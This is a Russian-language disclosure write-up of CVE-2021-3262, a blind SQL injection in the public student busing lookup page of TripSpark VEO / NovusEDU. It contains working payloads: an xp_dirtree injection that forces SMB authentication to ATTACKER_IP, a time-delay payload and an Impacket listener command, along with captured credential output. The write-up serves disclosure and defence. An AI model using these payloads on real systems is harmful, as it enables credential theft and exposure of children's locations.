
CVE-2021-3262 - слепая SQL-инъекция в параметре editOEN продукта TripSpark VEO Transportation / NovusEDU. Без аутентификации, доступна из интернета. Пейлоады, аннотированные запросы и доказательства.
SQL-инъекция в TripSpark VEO Transportation / NovusEDU
Публичная страница поиска «Student Busing Information», поставляемая с TripSpark VEO
Transportation, принимает неаутентифицированные входные данные из тела POST-запроса и
конкатенирует их в запрос SQL Server без параметризации и серверной валидации.
Параметр editOEN (поле номера учащегося) инъекционный.
Инъекция слепая: приложение не возвращает ошибок базы данных и не выдаёт различимого
содержимого, которое можно было бы проанализировать. Тем не менее она полностью
эксплуатируется внеполосно (out-of-band), поскольку соединение с базой данных может
достигать master.dbo.xp_dirtree, что заставляет учётную запись службы SQL Server
выполнять исходящую аутентификацию по SMB к UNC-пути, указанному атакующим.
Обнаружено в ходе внешнего пентеста. В исходном проекте перехваченные учётные данные сервисной учётной записи стали отправной точкой, которая привела к полной компрометации домена и леса Active Directory клиента.
Опубликовано как CVE-2021-3262. Обнаружено и сообщено Sedric Louissaint из Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Продукт | TripSpark VEO Transportation / NovusEDU |
| Затронутые версии | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Слабость | CWE-89: SQL-инъекция |
| CVSS 3.1 (NVD) | 9.8 Критический CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (исследователь) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Опубликовано | 2023-08-29 |
| Протестировано на | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Требуется аутентификация | Нет. Страница поиска по замыслу доступна из интернета. |
Описание NVD:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 допускает небезопасные входные данные в параметрах тела POST-запроса от конечных пользователей без очистки средствами серверной логики. Была возможна инъекция пользовательских SQL-команд в поисковые запросы «Student Busing Information».
Школьные округа размещают страницу «Student Busing Information» на своём публичном сайте, чтобы родители могли узнать, к какому автобусу прикреплён учащийся. Страница запрашивает N-номер учащегося и дату рождения и намеренно не требует аутентификации.

N-номер передаётся как editOEN. Дата рождения передаётся как cboxMonth, cboxDay
и cboxYear. editOEN — инъекционный параметр.
В отличие от многих ASP.NET-приложений той эпохи, эта страница не выводит ошибки базы данных. Визуальной разницы между корректным и сломанным запросом нет, поэтому внутриполосные (in-band) техники — тупик.
Пакетные запросы (stacked queries) выполняются, а это всё, что нужно.
master.dbo.xp_dirtree перечисляет содержимое каталога. При передаче UNC-пути
SQL Server аутентифицируется на целевом хосте по SMB, прежде чем прочитать его.
Если направить её на слушатель, тихая инъекция становится видимой:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Запрос представляет собой обычный POST-запрос ASP.NET WebForms объёмом примерно
4 700 байт, большую часть которого составляет __VIEWSTATE. Полный запрос — в
poc/exploited-request.http, пейлоады — в
poc/payloads.sql.

При работающем smbserver.py из Impacket на хосте в публичном интернете сервер базы
данных внутри сети округа выполняет исходящую аутентификацию:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Стоит явно назвать две вещи. Во-первых, это неаутентифицированная форма, доступная из интернета, обращающаяся к рабочей базе данных. Во-вторых, этому серверу базы данных было разрешено устанавливать исходящие SMB-соединения с произвольными интернет-хостами, что и сделало слепую инъекцию наблюдаемой.
Помимо самой инъекции, перехваченные учётные данные NTLMv2 для сервисной учётной записи SQL Server стали исходной точкой входа в исходном проекте. Оттуда тестирование переросло в полную компрометацию домена и леса Active Directory клиента.
Под угрозой находятся данные о перевозке учащихся: имена, домашние адреса, закреплённый автобус, закреплённая остановка, время посадки и маршруты специального образования. Это расписание того, где конкретные дети будут физически находиться в известное время.
Для лабораторного экземпляра, которым вы владеете или на тестирование которого уполномочены:
sudo smbserver.py c . -smb2support
xp_dirtree из
poc/payloads.sql в поле N-номера, подставив собственный IP.
Перехватывайте и повторяйте POST-запрос, а не вводите данные в браузере, если
поле имеет клиентское ограничение длины, — на серверной стороне его нет.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Идентификаторы клиентов на скриншотах скрыты. Адреса слушателей взяты из исходного проекта и давно неактивны. При воспроизведении подставляйте свои.
editOEN как параметр — и пейлоад станет
инертной строкой, что бы в нём ни было.xp_dirtree и другим расширенным хранимым процедурам.| Дата | Событие |
|---|---|
| 2021 | Обнаружена в ходе внешнего пентеста и передана в TripSpark |
| 2023-08-29 | CVE-2021-3262 опубликован в NVD, получил оценку 9.8 — критический уровень |
Опубликовано после раскрытия, в защитных и образовательных целях. Не запускайте эти пейлоады против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения. Если вы администрируете развёртывание в школьном округе, полезное действие здесь — письменно спросить у своего вендора, параметризованы ли запросы, стоящие за вашими публичными формами.